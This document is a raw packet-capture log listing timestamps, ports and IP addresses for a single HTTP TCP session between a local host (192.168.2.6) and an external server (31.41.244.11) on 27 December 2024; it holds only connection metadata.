Dec 27, 2024 08:52:13.297213078 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.298223019 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.298284054 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.298325062 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.298378944 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.299420118 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.299504042 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.299529076 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.299575090 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.300581932 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.300648928 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.300724983 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.300771952 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.301781893 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.301841021 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.301847935 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.301894903 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.302920103 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.302995920 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.303020954 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.303045034 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.304095030 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.304156065 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.304187059 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.304234982 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.305377007 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.305439949 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.305486917 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.305529118 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.306459904 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.306519985 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.306591034 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.306674004 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.307667017 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.307717085 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.307744980 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.307765007 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.308773994 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.308830023 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.308873892 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.308914900 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.310008049 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.310065031 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.310076952 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.310123920 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.311115026 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.311172009 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.311197042 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.311234951 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.312350988 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.312402010 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.312407970 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.312453032 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.313461065 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.313512087 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.313582897 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.313623905 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.314641953 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.314692974 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.314728022 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.314763069 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.315815926 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.315881014 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.315920115 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.315963984 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.316975117 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.317028046 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.317065001 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.317104101 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.318196058 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.318257093 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.318316936 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.318373919 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.319330931 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.319382906 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.319425106 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.319472075 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.320492029 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.320544004 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.320614100 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.320657969 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.321628094 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.321677923 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.452307940 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.452356100 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.452533007 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.452833891 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.452884912 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.452934980 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.453963995 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.454030991 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.454066992 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.454148054 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.455169916 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.455229044 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.455244064 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.455282927 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.456310987 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.456357956 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.456422091 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.456468105 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.457499981 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.457551956 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.457593918 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.457636118 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.458655119 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.458774090 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.458872080 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.458872080 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.459842920 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.459897995 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.459935904 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.459974051 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.461005926 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.461055040 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.461097002 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.461142063 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.462168932 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.462251902 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.462276936 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.462318897 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.463367939 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.463423967 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.463434935 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.463470936 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.464796066 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.464812994 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.464848995 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.465847969 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.465862989 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.465918064 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.466873884 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.466945887 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.466985941 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.467042923 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.468051910 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.468105078 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.468156099 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.468197107 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.469324112 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.469378948 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.469428062 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.469470024 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.470405102 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.470513105 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.470531940 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.470551968 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.471600056 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.471647978 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.471689939 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.471733093 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.472773075 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.472825050 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.472863913 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.473000050 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.473918915 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.473968983 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.474045038 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.474087954 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.475080967 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.475158930 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.475192070 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.475234985 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.476243019 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.476290941 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.476352930 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.476393938 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.477411985 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.477484941 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.477513075 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.477552891 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.478599072 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.478651047 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.478703022 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.478744030 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.479768991 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.479825020 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.479871035 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.479912043 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.480940104 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.480998039 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.481061935 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.481103897 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.482136011 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.482183933 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.482247114 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.482291937 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.483293056 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.483345032 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.483397961 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.483439922 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.484447956 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.484497070 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.484571934 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.484613895 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.485652924 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.485702991 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.485728979 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.485766888 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.486824989 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.486871958 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.486943007 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.486988068 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.487971067 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.488037109 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.488095045 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.488135099 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.489165068 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.489208937 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.489247084 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.489285946 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.490336895 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.490385056 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.490433931 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.490519047 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.491491079 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.491540909 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.491586924 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.491631985 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.492667913 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.492713928 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.492773056 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.492814064 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.493921995 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.493976116 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.494002104 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.494043112 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.494999886 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.495044947 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.495110989 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.495152950 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.496191025 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.496238947 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.496294975 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.496341944 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.497363091 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.497421026 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.497473955 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.497517109 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.498578072 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.498641968 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.498645067 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.498688936 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.499702930 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.499752998 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.499802113 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.499839067 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.500917912 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.500971079 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.501055002 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.501097918 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.502065897 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.502114058 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.502165079 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.502204895 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.503210068 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.503256083 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.503325939 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.503365993 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.504388094 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.504435062 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.504462957 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.504501104 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.505577087 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.505623102 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.505677938 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.505717039 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.506751060 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.506926060 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.506983995 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.507957935 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.508018017 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.508076906 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.508260012 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.509121895 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.509207010 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.509247065 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.509331942 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.510268927 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.510324001 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.510380983 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.510423899 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.511476040 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.511522055 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.511583090 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.511625051 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.512615919 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.512662888 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.512734890 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.512780905 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.513746977 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.513796091 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.644510031 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.644589901 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.644603014 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.644658089 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.645046949 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.645220995 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.645251036 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.645351887 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.646194935 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.646249056 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.646292925 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.646342039 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.647449017 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.647509098 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.647563934 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.647614002 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.648503065 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.648554087 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.648600101 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.648646116 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.649725914 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.649779081 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.649797916 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.649843931 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.650840044 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.650893927 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.650974989 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.651015997 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.652051926 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.652107000 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.652153969 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.652200937 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.653289080 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.653341055 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.653351068 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.653388023 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.654375076 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.654445887 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.654479027 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.654529095 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.655574083 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.655632019 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.655670881 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.655733109 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.656719923 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.656776905 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.656816006 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.656866074 CET	49949	80	192.168.2.6	31.41.244.11
